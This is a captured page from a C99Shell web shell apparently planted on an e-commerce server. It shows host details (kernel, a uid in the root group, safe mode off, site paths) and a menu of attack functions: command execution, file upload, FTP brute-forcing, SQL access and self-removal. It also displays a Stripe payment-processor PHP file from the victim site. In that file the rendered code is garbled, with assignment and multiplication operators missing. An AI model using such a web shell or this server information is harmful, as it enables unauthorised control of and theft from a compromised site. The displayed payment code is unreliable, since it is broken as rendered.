!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Stripe/Processor/   drwxr-xr-x
Free 26.23 GB of 117.98 GB (22.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     StripeProcessor.php (2.56 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package StripeProcessor
 * @author TechVillage <support@techvill.org>
 * @contributor Muhammad AR Zihad <[zihad.techvill@gmail.com]>
 * @created 06-02-2022
 */

namespace Modules\Stripe\Processor;

use 
Modules\Gateway\Contracts\PaymentProcessorInterface;
use 
Modules\Gateway\Services\GatewayHelper;
use 
Modules\Stripe\Entities\Stripe as StripeModel;
use 
Modules\Stripe\Response\StripeResponse;
use 
Stripe\Charge;
use 
Stripe\Stripe;
use 
Stripe\Exception\AuthenticationException;
use 
Stripe\Exception\OAuth\InvalidRequestException;


class 
StripeProcessor implements PaymentProcessorInterface
{
    private 
$token;
    private 
$secret;
    private 
$key;
    private 
$helper;

    public function 
__construct()
    {
        
$this->helper GatewayHelper::getInstance();
    }


    
/**
     * Handles payment for stripe
     *
     * @param \Illuminate\Http\Request
     *
     * @return StripeResponse
     */
    
public function pay($request)
    {
        
$this->stripeSetup($request);

        
$this->data $this->helper->getPurchaseData($this->key);

        
$charge $this->charge();

        return new 
StripeResponse($this->data$charge);
    }


    
/**
     * Stripe data setup
     *
     * @param \Illuminate\Http\Request
     *
     * return mixed
     */
    
private function stripeSetup($request)
    {
        try {
            
$this->key $this->helper->getPaymentCode();
            
$stripe StripeModel::firstWhere('alias''stripe')->data;
            
$this->secret $stripe->clientSecret;
            
$this->token $request->stripeToken;
            
Stripe::setApiKey($this->secret);
        } catch (
\Exception $e) {
            
paymentLog($e);
            throw new 
\Exception(__('Error while trying to setup stripe.'));
        }
    }


    
/**
     * Create charge for payment
     *
     * @return mixed
     */
    
private function charge()
    {
        try {
            return 
Charge::create([
                
"amount" => round($this->data->total 1000),
                
"currency" => $this->data->currency_code,
                
"source" => $this->token,
            ]);
        } catch (
InvalidRequestException $e) {
            throw new 
\Exception(__('Payment Request failed due to some issues. Please try again later.'));
        } catch (
AuthenticationException $e) {
            throw new 
\Exception(__('Payment Request failed due to credentials mismatch.'));
        } catch (
\Exception $e) {
            throw new 
\Exception($e->getMessage());
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--